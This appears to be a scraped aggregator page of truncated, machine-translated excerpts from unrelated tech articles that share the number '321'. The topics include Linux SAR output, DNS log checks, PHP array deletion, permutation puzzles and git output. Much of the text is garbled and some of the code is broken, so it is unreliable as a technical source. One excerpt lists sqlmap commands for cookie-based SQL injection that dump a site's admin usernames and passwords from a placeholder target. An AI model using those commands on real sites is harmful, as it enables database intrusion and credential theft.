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Reentrantlock's Lock-unlock process

developers the freedom to define how locks are acquired and how locks are freed. Sync is the internal abstraction class of Reentrantlock, which implements a simple acquisition lock and a release lock. Nonfairsync and Fairsync respectively represent "unjust locks" and "fair locks", both of which inherit from sync and are all internal classes of reentrantlock. Reentrantlock implements the Lock-unlock method of the lock interface and determines whether to use Nonfairsync or Fairsync according to t

How to use SAR in UNIX Maintenance

times and observe the status of the core table, enter the following command:# Sar-V 30 5Screen Display:Sco_sv scosysv 3.2v5.0.5 i80386 10/01/200110:33:23 proc-SZ ov inod-SZ ov file-SZ ov lock-SZ (-V)10:33:53 305/321 0 1337/2764 0 1561/1706 0 40/12810:34:23 308/321 0 1340/2764 0 1587/1706 0 37/12810:34:53 305/321 0 1332/2764 0 1565/1706 0 36/12810:35:23 308/

Linux DNS server Health Check

: Nov 28 10:37:45 indicates the restart time of the server Www display the name of the machine where the DNS server is located Named [10134]: displays the DNS server process name and process ID. Reloading. indicates that the DNS server is being restarted. Nameserver displays the name of the server being restarted 2. LOG_INFO-level logs When the DNS server is running, a set of LOG_INFO-level logs are generated every one hour to report the running status of the DNS server: Dec 26 10:23:52 www name

Summary of the SAR tool commands in Linux

you sample data every 30 seconds for five consecutive times and observe the status of the core table, enter the following command: # Sar-V 30 5 Screen Display:Sco_sv scosysv 3.2v5.0.5 i80386 10/01/200110:33:23 proc-SZ ov inod-SZ ov file-SZ ov lock-SZ (-V)10:33:53 305/321 0 1337/2764 0 1561/1706 0 40/12810:34:23 308/321 0 1340/2764 0 1587/1706 0 37/12810:34:53 305/32

Expand kangtuo and expand kangtuo

Expand kangtuo and expand kangtuo 1. Explanations of conto Kanto expansion is a special hash function. Expand an integer x into the following form: X = a [n] * n! + A [n-1] * (n-1 )! +... + A [2] * 2! + A [1] * 1! Where, a is an integer and 0 {1, 2, 3, 4,..., n} indicates the arrangement of 1, 2, 3,..., n, for example, {1, 2, 3}. A total of 6 entries are arranged in ascending order. 123 132 213 231 312 321. The number 1, 2, 4, 5, and 6 correspond to

pat1038. Recover the smallest number (30)

1038. Recover the smallest number (30) time limit of MS memory limit 65536 KB code length limit 16000 B procedure StandardAuthor Chen, YueGiven a collection of number segments, you is supposed to recover the smallest number from them. For example, given {321, 3214, 0229,}, we can recover many numbers such like 32-321-3214-0229-87 or 0229-32-87-321- 3214 with resp

How PHP Deletes a value element in a one-dimensional array

The following small series for you to share a PHP delete one-dimensional array of a value element of the operation method, with a good reference and learn the value of PHP, we hope to help. Interested in PHP to follow the small part of it come to see it 1. Write for Loop yourself Remove the value of the $tmp element from the array. Code foreach ($arr as $k = + $v) {if ($tmp = = $v) unset ($arr [$k]);} Print_r ($arr);? > At this time Array ([0] = 321

PHP How to delete a value element in a one-dimensional array php tips

The following small series for you to share a PHP delete one-dimensional array of a value element of the operation method, has a good reference value, I hope to be helpful. Let's take a look at it with a little knitting. 1. Write for Loop yourself Remove the value of the $tmp element from the array. Code foreach ($arr as $k = + $v) {if ($tmp = = $v) unset ($arr [$k]);} Print_r ($arr);? > At this time Array ([0] = 321 [1] = 322 [2] = 323 [4] = =

Reorder array to construct the minimum number

Construct minimum number by reordering a given non-negative integer array. Arrange them such that they form the minimum number.NoticeThe result is very large, so you need to return a string instead of an integer.Has you met this question in a real interview?ExampleGiven [3, 32, 321] , there is 6 possible numbers can be constructed by reordering the array:3+32+321=3323213+

DNS server Health Check

started. Named 8.2.2-p3 displays the BIND Software Version 2. When an HUP signal is sent to the DNS server to restart the DNS server, the following LOG_NOTICE-level log information is generated: Nov 28 10:37:45 www named [10134]: reloading nameserver Where: Nov 28 10:37:45 indicates the restart time of the server Www display the name of the machine where the DNS server is located Named [10134]: displays the DNS server process name and process ID. Reloading. indicates that the DNS server is bein

The array is ranked as the smallest number/1038. Recover the smallest number

The title description enters an array of positive integers, stitching up all the numbers in the array into a number, and printing the smallest of all the numbers that can be stitched together. For example, enter the array {3,32,321}, then print out the minimum number that these three numbers can be ranked as 321323.Given a collection of number segments, you is supposed to recover the smallest number from them. For example, given {321, 3214, 0229,}, we

Who is the number of nyoj143? [Expand inverse Kang Tuo]

following form: X = A [n] * n! + A [n-1] * (n-1 )! +... + A [2] * 2! + A [1] * 1! Where, A is an integer and 0 {1, 2, 3, 4,..., n} indicates the arrangement of 1, 2, 3,..., n, for example, {1, 2, 3}. A total of 6 entries are arranged in ascending order. 123 132 213 231 312 321. The number 1, 2, 4, 5, and 6 correspond to a given number. The relationships between them can be found in Kanto. If you want to know the number of the larg

Detailed use of SAR in Linux

i80386 10/01/200110:33:23 proc-sz ov Inod-sz ov File-sz ov Lock-sz (-V)10:33:53 305/321 0 1337/2764 0 1561/1706 0 40/12810:34:23 308/321 0 1340/2764 0 1587/1706 0 37/12810:34:53 305/321 0 1332/2764 0 1565/1706 0 36/12810:35:23 308/321 0 1338/2764 0 1592/1706 0 37/12810:35:53 308/3

PAT1038. Recover the smallest number (30)

http://pat.zju.edu.cn/contests/pat-a-practise/1038 Given a collection of number segments, you are are supposed to recover the smallest number from them. For example, given {(), 321, 3214, 0229, and recover, we can many numbers such like 32-321-3214-0229-87 or 0229-32-87-321- 3214 with respect to different orders of combinations of this segments, and the smallest

PHP deletes the operation of one of the value elements in a one-dimensional array

1. Write for loop yourself Remove the value of this element from the array $tmp ' 5 ' => ' 326 ', ); Code foreach ($arr as $k => $v) { if ($tmp = = $v) unset ($arr [$k]); } Print_r ($arr); ? > Now Array ( [0] => 321 [1] => 322 [2] => 323 [4] => 325 [5] => 326 ) To reset the index, add a sentence foreach ($arr as $k => $v) { if ($tmp = = $v) unset ($arr [$k]); } $arr = Array_values ($arr); Print_r ($arr); ? > A

11 Common methods of Sqlmap use

/en/CompHonorBig.asp?id=7"--dump-t admin–c "Username,[url=]b[/url]password"Second, Sqlmap for cookie injection(1) Cookie injection, guessing tableWin:python sqlmap.py-u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31"--table--level 2(2) Guess the field, (through 1 of the table to guess the field, if the table is Admin)Win:p Ython sqlmap.py-u "http://www.xxx.org/jsj/shownews.asp"--cookie "id=31"--columns–t admin--level 2(3) What to guessWin:p Ython sqlmap.py-u "http://www.xxx.org/jsj/shownew

To troubleshoot how Outlook accounts are temporarily blocked

Now, to prevent others from cheating or abusing your Microsoft account, we will temporarily block your account when we detect spam or other fraudulent activities. Cancel online to block your account You can unblock an account from your computer. The operation method is as follows: Log in to your blocked account. Follow the instructions on the page. Contact technical support to unblock your account If

The use of GitHub under Linux

need to force-push against your G It tags: git push origin--force--tags# Counting objects:321, done. # Delta compression using up to 8 threads. # compressing objects:100% (166/166), done. # Writing objects:100% (321/321), 331.74 KiB | 0 bytes/s, done. # Total 321 (Delta 124), reused 269 (Delta 108) # to Https://githu

Recursive implementation algorithm of full permutation (Perm)

69267230What is the whole arrangement "Any element of M (m≤n) from n different elements, arranged in a certain order, is called an arrangement of extracting m elements from n different elements. All permutations are called when m=n. With the 123来 example, 123 of the full array has 123, 132, 213, 231, 312, 321 of these six.TopicA recursive algorithm is designed to generate a full array of n elements {r1,r2,..., rn}."Algorithmic explanation"Set R={R1,R2

Python: Comments

What is a comment?Logout: Do not participate in executionExplanation Code: Someone is used to explaining the code on the edge, suggesting that it be put on top.1 ) A single line comment begins with ## Requirement 12: Keyboard input positive integer n, to find the sum of N and its reverse order and output for example: 123 reverse order 321 output 123+321=? Single-line uncomment: Ctrl +/2 multiple lines of c

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